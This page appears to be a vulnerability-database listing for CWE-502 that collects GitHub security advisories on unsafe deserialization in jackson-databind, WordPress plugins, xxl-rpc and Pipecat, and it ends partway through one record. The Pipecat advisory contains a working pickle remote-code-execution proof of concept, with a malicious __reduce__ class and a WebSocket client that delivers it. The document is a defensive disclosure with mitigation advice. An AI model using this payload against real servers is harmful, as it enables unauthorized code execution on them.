CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
4798 vulnerabilities reference this CWE, most recent first.
GHSA-C265-37VJ-CWCC
Vulnerability from github – Published: 2020-06-18 14:44 – Updated: 2026-05-06 18:37FasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool (aka xalan2).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.9.10.4"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-14062"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-18T13:06:04Z",
"nvd_published_at": "2020-06-14T20:15:00Z",
"severity": "HIGH"
},
"details": "FasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool (aka xalan2).",
"id": "GHSA-c265-37vj-cwcc",
"modified": "2026-05-06T18:37:27Z",
"published": "2020-06-18T14:44:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14062"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/2704"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/840eae2ca81c597a0010b2126f32dce17d384b70"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/99001cdb6807b5c7b170ec6a9092ecbb618ae79c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/07/msg00001.html"
},
{
"type": "WEB",
"url": "https://medium.com/%40cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"type": "WEB",
"url": "https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200702-0003"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-570625"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of untrusted data in Jackson Databind"
}
GHSA-C27H-MCMW-48HV
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2023-02-14 00:56A series of deserialization vulnerabilities have been discovered in Codehaus 1.9.x implemented in EAP 7. This CVE fixes CVE-2017-17485, CVE-2017-7525, CVE-2017-15095, CVE-2018-5968, CVE-2018-7489, CVE-2018-1000873, CVE-2019-12086 reported for FasterXML jackson-databind by implementing a whitelist approach that will mitigate these vulnerabilities and future ones alike.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.codehaus.jackson:jackson-mapper-asl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.9.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10202"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-14T00:56:25Z",
"nvd_published_at": "2019-10-01T15:15:00Z",
"severity": "CRITICAL"
},
"details": "A series of deserialization vulnerabilities have been discovered in Codehaus 1.9.x implemented in EAP 7. This CVE fixes CVE-2017-17485, CVE-2017-7525, CVE-2017-15095, CVE-2018-5968, CVE-2018-7489, CVE-2018-1000873, CVE-2019-12086 reported for FasterXML jackson-databind by implementing a whitelist approach that will mitigate these vulnerabilities and future ones alike.",
"id": "GHSA-c27h-mcmw-48hv",
"modified": "2023-02-14T00:56:25Z",
"published": "2022-05-24T16:57:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10202"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/refea6018a2c4e9eb7838cab567ed219c3f726dcd83a5472fbb80d8d9@%3Cissues.flume.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/refea6018a2c4e9eb7838cab567ed219c3f726dcd83a5472fbb80d8d9%40%3Cissues.flume.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rce00a1c60f7df4b10e72fa87827c102f55b074bb91993631df2c21f9@%3Cdev.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rce00a1c60f7df4b10e72fa87827c102f55b074bb91993631df2c21f9%40%3Cdev.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6dea2a887f5eb1d68f124d64b14cd1a04f682f06de8cd01b7e4214e0@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6dea2a887f5eb1d68f124d64b14cd1a04f682f06de8cd01b7e4214e0%40%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5f16a1bd31a7e94ca78eda686179930781aa3a4a990cd55986703581@%3Cdev.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5f16a1bd31a7e94ca78eda686179930781aa3a4a990cd55986703581%40%3Cdev.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r500867b74f42230a3d65b8aec31fc93ac390eeae737c91a759ab94cb@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r500867b74f42230a3d65b8aec31fc93ac390eeae737c91a759ab94cb%40%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r356592d9874ab4bc9da4754592f8aa6edc894c95e17e58484bc2af7a@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r356592d9874ab4bc9da4754592f8aa6edc894c95e17e58484bc2af7a%40%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1edabcfacdad42d3c830464e9cf07a9a489059a7b7a8642cf055542d@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1edabcfacdad42d3c830464e9cf07a9a489059a7b7a8642cf055542d%40%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0fbf2c60967bc9f73d7f5a62ad3b955789f9a14b950f42e99fca9b4e@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0fbf2c60967bc9f73d7f5a62ad3b955789f9a14b950f42e99fca9b4e%40%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10202"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of Untrusted Data in org.codehaus.jackson:jackson-mapper-asl"
}
GHSA-C27W-WJ98-H63P
Vulnerability from github – Published: 2025-03-26 12:30 – Updated: 2025-03-26 12:30The WordPress Importer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 0.8.3 via deserialization of untrusted input in the 'maybe_unserialize' function. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
{
"affected": [],
"aliases": [
"CVE-2024-13889"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-26T12:15:14Z",
"severity": "HIGH"
},
"details": "The WordPress Importer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 0.8.3 via deserialization of untrusted input in the \u0027maybe_unserialize\u0027 function. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.",
"id": "GHSA-c27w-wj98-h63p",
"modified": "2025-03-26T12:30:34Z",
"published": "2025-03-26T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13889"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wordpress-importer/trunk/class-wp-import.php#L602"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wordpress-importer/trunk/class-wp-import.php#L857"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wordpress-importer/trunk/class-wp-import.php#L891"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wordpress-importer/trunk/class-wp-import.php#L975"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3261419"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f0795f7-6eba-4ff0-b0da-5d2b544adf14?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C29G-Q3H3-MWCF
Vulnerability from github – Published: 2023-06-07 21:30 – Updated: 2023-06-16 17:47xxl-rpc v1.7.0 was discovered to contain a deserialization vulnerability via the component com.xxl.rpc.core.remoting.net.impl.netty.codec.NettyDecode#decode.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.xuxueli:xxl-rpc-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-33496"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-09T22:52:46Z",
"nvd_published_at": "2023-06-07T21:15:13Z",
"severity": "CRITICAL"
},
"details": "xxl-rpc v1.7.0 was discovered to contain a deserialization vulnerability via the component `com.xxl.rpc.core.remoting.net.impl.netty.codec.NettyDecode#decode`.",
"id": "GHSA-c29g-q3h3-mwcf",
"modified": "2023-06-16T17:47:39Z",
"published": "2023-06-07T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33496"
},
{
"type": "WEB",
"url": "https://github.com/edirc-wong/record/blob/main/deserialization_vulnerability_report.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/xuxueli/xxl-rpc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "xxl-rpc deserialization vulnerability"
}
GHSA-C2J6-7H49-7VRF
Vulnerability from github – Published: 2024-10-28 12:30 – Updated: 2026-04-01 18:32Deserialization of Untrusted Data vulnerability in Kiboko Labs Namaste! LMS allows Object Injection.This issue affects Namaste! LMS: from n/a through 2.6.3.
{
"affected": [],
"aliases": [
"CVE-2024-50408"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-28T12:15:15Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in Kiboko Labs Namaste! LMS allows Object Injection.This issue affects Namaste! LMS: from n/a through 2.6.3.",
"id": "GHSA-c2j6-7h49-7vrf",
"modified": "2026-04-01T18:32:09Z",
"published": "2024-10-28T12:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50408"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/namaste-lms/vulnerability/wordpress-namaste-lms-plugin-2-6-3-php-object-injection-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/namaste-lms/wordpress-namaste-lms-plugin-2-6-3-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C2JG-5CP7-6WC7
Vulnerability from github – Published: 2026-04-23 21:15 – Updated: 2026-04-23 21:15Remote Code Execution via Unsafe Deserialization in Pipecat's LivekitFrameSerializer
Summary
A critical vulnerability exists in Pipecat's LivekitFrameSerializer – an optional, non-default, undocumented frame serializer class (now deprecated) intended for LiveKit integration. The class's deserialize() method uses Python's pickle.loads() on data received from WebSocket clients without any validation or sanitization. This means that a malicious WebSocket client can send a crafted pickle payload to execute arbitrary code on the Pipecat server. The vulnerable code resides in src/pipecat/serializers/livekit.py (around line 73), where untrusted WebSocket message data is passed directly into pickle.loads() for deserialization. If a Pipecat server is configured to use LivekitFrameSerializer and is listening on an external interface (e.g. 0.0.0.0), an attacker on the network (or the internet, if the service is exposed) could achieve remote code execution (RCE) on the server by sending a malicious pickle payload.
Details
The LivekitFrameSerializer is a serializer meant to convert between Pipecat audio frames and LiveKit's audio frame format. It is not enabled by default – developers would have to explicitly use this serializer. In Pipecat version 0.0.90, this class was officially deprecated in favor of a safer LiveKitTransport method, but it remains in the code for backward compatibility. The vulnerability arises in how it handles incoming data: the deserialize() method blindly unpickles whatever byte stream it receives over the WebSocket. Below is a snippet illustrating the core issue in the LivekitFrameSerializer.deserialize implementation:
Vulnerable code in src/pipecat/serializers/livekit.py:
async def deserialize(self, data: str | bytes) -> Frame | None:
# ... (docstring omitted for brevity)
audio_frame: AudioFrame = pickle.loads(data)["frame"] # Unsafely deserializing untrusted data
return InputAudioRawFrame(
audio=bytes(audio_frame.data),
sample_rate=audio_frame.sample_rate,
num_channels=audio_frame.num_channels,
)
Python's pickle.loads will execute arbitrary code if the input data is a maliciously crafted pickle object. In this case, an attacker can exploit the LivekitFrameSerializer by sending a pickle payload that, when deserialized, runs attacker-controlled code on the server. The serializer assumes the data contains a LiveKit AudioFrame object (possibly in a dictionary with key "frame"), but does not verify the content or source. As a result, any object with a malicious __reduce__ or other pickle protocol methods will be executed upon deserialization. This is a known risk: pickle should never be used on untrusted data.
In summary, whenever LivekitFrameSerializer is active, any client that can connect to the Pipecat WebSocket can send a specially crafted pickle binary. Upon receiving it, Pipecat will call pickle.loads, immediately executing the payload's code. This can lead to a full compromise of the Pipecat server process, allowing attackers to run arbitrary commands or take control of the host system with the privileges of the Pipecat service.
Proof of Concept (PoC)
The following proof-of-concept demonstrates how an attacker could exploit this vulnerability. It involves two steps: (1) running a Pipecat WebSocket server using the vulnerable serializer, and (2) sending a malicious pickle from a client.
Start a Pipecat WebSocket server with the LivekitFrameSerializer enabled – for example, by binding the server to all network interfaces (0.0.0.0) on port 8765. In a Pipecat application, this might be done by specifying the LiveKit serializer in the WebSocket transport parameters. For illustration, the code snippet below starts a server:
import asyncio
import websockets
from pipecat.serializers.livekit import LivekitFrameSerializer
serializer = LivekitFrameSerializer()
async def handler(ws):
"""
websockets new-style handler: single argument (connection object).
Path (if needed) is available via ws.path.
"""
try:
data = await ws.recv()
if isinstance(data, str):
data = data.encode("utf-8")
frame = await serializer.deserialize(data)
print("deserialize returned:", frame)
except Exception as e:
print("deserialize raised:", repr(e))
async def main():
print("Starting server on 0.0.0.0:8765 (websockets new API handler)")
async with websockets.serve(handler, "0.0.0.0", 8765):
await asyncio.Future() # run forever
if __name__ == "__main__":
asyncio.run(main())
In this setup, the server listens on ws://0.0.0.0:8765 (with a default path of /ws for WebSocket connections). It will use LivekitFrameSerializer for incoming frames, making it vulnerable to pickle-based attacks.
Send a malicious pickle payload from a client – an attacker can now connect to the WebSocket and transmit a crafted pickle object that executes code. For instance, the payload below defines a class RCE whose __reduce__ method will invoke os.system("ls -l"). When unpickled on the server, this will run the ls -l command (listing directory contents) on the server side:
import asyncio
import pickle
import websockets
class RCE:
def __reduce__(self):
import os
return (os.system, ("echo EXPLOITED > /tmp/pipecat_exploit || true",))
async def attack():
uri = "ws://127.0.0.1:8765"
async with websockets.connect(uri) as ws:
payload = pickle.dumps({"frame": RCE()})
await ws.send(payload)
if __name__ == "__main__":
asyncio.run(attack())
In this PoC, the attacker's code opens a WebSocket connection to the Pipecat server and sends the pickled RCE object. On the server, the `LivekitFrameSerializer.deserialize()` method will call pickle.loads() on this data, which in turn triggers the `RCE.__reduce__` method. This executes the `os.system("ls -l")` command on the server. In a real attack, the payload could be crafted to perform any arbitrary actions (create a reverse shell, modify files, etc.) with the privileges of the Pipecat process.
Impact
If an application uses LivekitFrameSerializer and exposes the Pipecat WebSocket server to untrusted networks, an attacker can achieve remote code execution on the server with a single malicious message. This could lead to a complete compromise of the server: the attacker can execute operating system commands, read or modify data, install malware, or pivot to other systems. The severity of this vulnerability is high – any code execution vulnerability is critical, especially in a real-time communications server context.
It's important to note that by default Pipecat does not use LivekitFrameSerializer (and in fact the class is deprecated), so only systems that explicitly opt into this serializer are affected. However, because the class exists in the codebase, users might inadvertently use it. Any such usage on a public-facing or even internal network service can be exploited by an attacker with network access to the service. The worst-case scenario is an internet-exposed Pipecat server using this serializer, which would allow remote exploitation by anyone with access to the WebSocket port.
Mitigation
Users of Pipecat should take the following actions to eliminate or reduce the risk of this vulnerability:
-
Avoid or replace unsafe deserialization: Ideally, do not use
LivekitFrameSerializerat all given its use of unsafe pickle deserialization. Pipecat's maintainers have deprecated this class in favor ofLiveKitTransport, which does not require explicit pickle usage. If users need to support LiveKit integration or any binary frame serialization, use safer alternatives:* Use standardized formats like JSON for simple structured data, or binary formats like Protocol Buffers or MessagePack for more complex data structures. These formats do not execute code upon parsing. * If users absolutely must use pickle (not recommended), implement a custom `pickle.Unpickler` with a restricted `find_class()` method. This can limit what classes and functions can be instantiated during unpickling (whitelisting only safe types), which can mitigate arbitrary code execution. However, even a restricted unpickler is risky and should be considered a last resort. -
Improve network security configuration: Limit who can reach the Pipecat service.
* Bind to localhost whenever possible. If the Pipecat server is intended for internal or single-machine use, use host="127.0.0.1" (or omit the host to default to localhost) instead of 0.0.0.0. This prevents external network access by default and significantly reduces exposure. * Require authentication and authorization on the WebSocket connection. If the use case allows, enforce that clients must authenticate (using tokens, API keys, or other means) before accepting and processing frames. This won't fix the underlying code issue, but it can restrict who is able to send potentially malicious data.
In summary, the best mitigation is to stop using the vulnerable LivekitFrameSerializer altogether. If users require LiveKit functionality, upgrade to the latest Pipecat version and switch to the recommended LiveKitTransport or another secure method provided by the framework. Additionally, always follow secure coding practices: never trust client-supplied data, and avoid Python pickle (or similar unsafe deserialization) in network-facing components.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pipecat-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.41"
},
{
"fixed": "0.0.94"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62373"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T21:15:42Z",
"nvd_published_at": "2026-04-23T16:16:24Z",
"severity": "CRITICAL"
},
"details": "Remote Code Execution via Unsafe Deserialization in Pipecat\u0027s LivekitFrameSerializer\n\n### Summary\n\nA critical vulnerability exists in Pipecat\u0027s `LivekitFrameSerializer` \u2013 an **optional, non-default, undocumented** frame serializer class (now deprecated) intended for LiveKit integration. The class\u0027s `deserialize()` method uses Python\u0027s `pickle.loads()` on data received from WebSocket clients without any validation or sanitization. This means that a malicious WebSocket client can send a crafted pickle payload to execute arbitrary code on the Pipecat server. The vulnerable code resides in `src/pipecat/serializers/livekit.py` (around line 73), where untrusted WebSocket message data is passed directly into `pickle.loads()` for deserialization. If a Pipecat server is configured to use LivekitFrameSerializer and is listening on an external interface (e.g. 0.0.0.0), an attacker on the network (or the internet, if the service is exposed) could achieve remote code execution (RCE) on the server by sending a malicious pickle payload.\n\n### Details\n\nThe `LivekitFrameSerializer` is a serializer meant to convert between Pipecat audio frames and LiveKit\u0027s audio frame format. **It is not enabled by default** \u2013 developers would have to explicitly use this serializer. In Pipecat version 0.0.90, this class was officially deprecated in favor of a safer `LiveKitTransport` method, but it remains in the code for backward compatibility. The vulnerability arises in how it handles incoming data: the `deserialize()` method blindly unpickles whatever byte stream it receives over the WebSocket. Below is a snippet illustrating the core issue in the `LivekitFrameSerializer.deserialize` implementation:\n\nVulnerable code in src/pipecat/serializers/livekit.py:\n\n```python\nasync def deserialize(self, data: str | bytes) -\u003e Frame | None:\n # ... (docstring omitted for brevity)\n audio_frame: AudioFrame = pickle.loads(data)[\"frame\"] # Unsafely deserializing untrusted data\n return InputAudioRawFrame(\n audio=bytes(audio_frame.data),\n sample_rate=audio_frame.sample_rate,\n num_channels=audio_frame.num_channels,\n )\n```\n\nPython\u0027s `pickle.loads` will execute arbitrary code if the input data is a maliciously crafted pickle object. In this case, an attacker can exploit the `LivekitFrameSerializer` by sending a pickle payload that, when deserialized, runs attacker-controlled code on the server. The serializer assumes the data contains a LiveKit `AudioFrame` object (possibly in a dictionary with key \"frame\"), but does not verify the content or source. As a result, any object with a malicious `__reduce__` or other pickle protocol methods will be executed upon deserialization. This is a known risk: pickle should never be used on untrusted data.\n\nIn summary, whenever `LivekitFrameSerializer` is active, any client that can connect to the Pipecat WebSocket can send a specially crafted pickle binary. Upon receiving it, Pipecat will call `pickle.loads`, immediately executing the payload\u0027s code. This can lead to a full compromise of the Pipecat server process, allowing attackers to run arbitrary commands or take control of the host system with the privileges of the Pipecat service.\n\n### Proof of Concept (PoC)\n\nThe following proof-of-concept demonstrates how an attacker could exploit this vulnerability. It involves two steps: (1) running a Pipecat WebSocket server using the vulnerable serializer, and (2) sending a malicious pickle from a client.\n\nStart a Pipecat WebSocket server with the LivekitFrameSerializer enabled \u2013 for example, by binding the server to all network interfaces (0.0.0.0) on port 8765. In a Pipecat application, this might be done by specifying the LiveKit serializer in the WebSocket transport parameters. For illustration, the code snippet below starts a server:\n\n```python\nimport asyncio\nimport websockets\nfrom pipecat.serializers.livekit import LivekitFrameSerializer\n\nserializer = LivekitFrameSerializer()\n\nasync def handler(ws):\n \"\"\"\n websockets new-style handler: single argument (connection object).\n Path (if needed) is available via ws.path.\n \"\"\"\n try:\n data = await ws.recv() \n if isinstance(data, str):\n data = data.encode(\"utf-8\") \n frame = await serializer.deserialize(data) \n print(\"deserialize returned:\", frame)\n except Exception as e:\n print(\"deserialize raised:\", repr(e))\n\nasync def main():\n print(\"Starting server on 0.0.0.0:8765 (websockets new API handler)\")\n async with websockets.serve(handler, \"0.0.0.0\", 8765):\n await asyncio.Future() # run forever\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nIn this setup, the server listens on ws://0.0.0.0:8765 (with a default path of /ws for WebSocket connections). It will use `LivekitFrameSerializer` for incoming frames, making it vulnerable to pickle-based attacks.\n\nSend a malicious pickle payload from a client \u2013 an attacker can now connect to the WebSocket and transmit a crafted pickle object that executes code. For instance, the payload below defines a class RCE whose `__reduce__` method will invoke `os.system(\"ls -l\")`. When unpickled on the server, this will run the `ls -l` command (listing directory contents) on the server side:\n\n```python\nimport asyncio\nimport pickle\nimport websockets\n\nclass RCE:\n def __reduce__(self):\n import os\n return (os.system, (\"echo EXPLOITED \u003e /tmp/pipecat_exploit || true\",))\n\nasync def attack():\n uri = \"ws://127.0.0.1:8765\" \n async with websockets.connect(uri) as ws:\n payload = pickle.dumps({\"frame\": RCE()})\n await ws.send(payload) \n\nif __name__ == \"__main__\":\n asyncio.run(attack())\n```\n\n In this PoC, the attacker\u0027s code opens a WebSocket connection to the Pipecat server and sends the pickled RCE object. On the server, the `LivekitFrameSerializer.deserialize()` method will call pickle.loads() on this data, which in turn triggers the `RCE.__reduce__` method. This executes the `os.system(\"ls -l\")` command on the server. In a real attack, the payload could be crafted to perform any arbitrary actions (create a reverse shell, modify files, etc.) with the privileges of the Pipecat process.\n\n### Impact\n\nIf an application uses `LivekitFrameSerializer` and exposes the Pipecat WebSocket server to untrusted networks, an attacker can achieve remote code execution on the server with a single malicious message. This could lead to a complete compromise of the server: the attacker can execute operating system commands, read or modify data, install malware, or pivot to other systems. The severity of this vulnerability is high \u2013 any code execution vulnerability is critical, especially in a real-time communications server context.\n\nIt\u0027s important to note that by default Pipecat does not use LivekitFrameSerializer (and in fact the class is deprecated), so only systems that explicitly opt into this serializer are affected. However, because the class exists in the codebase, users might inadvertently use it. Any such usage on a public-facing or even internal network service can be exploited by an attacker with network access to the service. The worst-case scenario is an internet-exposed Pipecat server using this serializer, which would allow remote exploitation by anyone with access to the WebSocket port.\n\n### Mitigation\n\nUsers of Pipecat should take the following actions to eliminate or reduce the risk of this vulnerability:\n\n1. Avoid or replace unsafe deserialization: Ideally, do not use `LivekitFrameSerializer` at all given its use of unsafe pickle deserialization. Pipecat\u0027s maintainers have deprecated this class in favor of `LiveKitTransport`, which does not require explicit pickle usage. If users need to support LiveKit integration or any binary frame serialization, use safer alternatives:\n\n * Use standardized formats like JSON for simple structured data, or binary formats like Protocol Buffers or MessagePack for more complex data structures. These formats do not execute code upon parsing.\n\n * If users absolutely must use pickle (not recommended), implement a custom `pickle.Unpickler` with a restricted `find_class()` method. This can limit what classes and functions can be instantiated during unpickling (whitelisting only safe types), which can mitigate arbitrary code execution. However, even a restricted unpickler is risky and should be considered a last resort.\n\n2. Improve network security configuration: Limit who can reach the Pipecat service.\n\n * Bind to localhost whenever possible. If the Pipecat server is intended for internal or single-machine use, use host=\"127.0.0.1\" (or omit the host to default to localhost) instead of 0.0.0.0. This prevents external network access by default and significantly reduces exposure.\n\n * Require authentication and authorization on the WebSocket connection. If the use case allows, enforce that clients must authenticate (using tokens, API keys, or other means) before accepting and processing frames. This won\u0027t fix the underlying code issue, but it can restrict who is able to send potentially malicious data.\n\nIn summary, the best mitigation is to stop using the vulnerable LivekitFrameSerializer altogether. If users require LiveKit functionality, upgrade to the latest Pipecat version and switch to the recommended `LiveKitTransport` or another secure method provided by the framework. Additionally, always follow secure coding practices: never trust client-supplied data, and avoid Python pickle (or similar unsafe deserialization) in network-facing components.",
"id": "GHSA-c2jg-5cp7-6wc7",
"modified": "2026-04-23T21:15:42Z",
"published": "2026-04-23T21:15:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-c2jg-5cp7-6wc7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62373"
},
{
"type": "PACKAGE",
"url": "https://github.com/pipecat-ai/pipecat"
},
{
"type": "WEB",
"url": "https://github.com/pipecat-ai/pipecat/releases/tag/v0.0.94"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pipecat: Remote Code Execution by Pickle Deserialization Through LivekitFrameSerializer"
}
GHSA-C2Q3-4QRH-FM48
Vulnerability from github – Published: 2020-06-18 14:44 – Updated: 2021-10-21 21:08FasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to oracle.jms.AQjmsQueueConnectionFactory, oracle.jms.AQjmsXATopicConnectionFactory, oracle.jms.AQjmsTopicConnectionFactory, oracle.jms.AQjmsXAQueueConnectionFactory, and oracle.jms.AQjmsXAConnectionFactory (aka weblogic/oracle-aqjms).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.9.10.4"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-14061"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-18T13:06:14Z",
"nvd_published_at": "2020-06-14T20:15:00Z",
"severity": "HIGH"
},
"details": "FasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to oracle.jms.AQjmsQueueConnectionFactory, oracle.jms.AQjmsXATopicConnectionFactory, oracle.jms.AQjmsTopicConnectionFactory, oracle.jms.AQjmsXAQueueConnectionFactory, and oracle.jms.AQjmsXAConnectionFactory (aka weblogic/oracle-aqjms).",
"id": "GHSA-c2q3-4qrh-fm48",
"modified": "2021-10-21T21:08:31Z",
"published": "2020-06-18T14:44:50Z",
"references": [
{
"type": "ADVISORY",
